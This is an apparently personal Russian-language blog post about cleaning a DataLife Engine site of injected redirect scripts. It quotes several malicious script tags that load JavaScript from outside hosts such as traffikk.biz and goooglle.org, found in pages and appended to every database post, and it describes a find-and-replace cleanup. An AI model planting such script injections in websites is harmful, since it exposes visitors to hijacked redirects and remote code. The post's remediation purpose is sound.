Вирусы на сайте DLE (дле вду)

Забрался нейкий вирус на сайт, который работает на dle, раньше был на сайте вирус irame, но его поборол простой чисткой сайта, а эта гадость, -  редиректит на всякое гавно и сидит в яваскрипте, очередная сага о ловле вирусов…

Итак анализ страниц показал наличие следующих левых скриптов на сайте, вот эти уроды:

<script type="text/javascript">tabdropdown.init("topmenu")</script>

<script language="javascript" src="http://uno.flipflapflo.biz/?t=rot&pid=16117"></script>

<script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://traffikk.biz/js/if.php?id=8354"></script><script language="JavaScript" charset="windows-1251" src="http://livetraf.com/js/bodyclick.php?id=2194"></script>

А вот это нашел в базе, приписки к каждому посту:

<script src="http://goooglle.org/a929e8a52b22c7724c59620b40877cf1.js" type="text/javascript"></script><script src="http://picturevk.msk.ru/720a4dc4f14bd5cd8014337697e24f24.js" type="text/javascript"></script>

Нашел выход, пока: сделал копию базы данных и слил на комп, затем найти-заменить данные скрипты в sql файле и потом импортнул чистую базу. Делал все в дримвиаре. Весила база 225 мегов.

Теперь буду думать что за дырка в дле и как ее закрыть. Если есть решения лучше – поделитесь…



Похожие записи


RSSОформление подписки на квартал.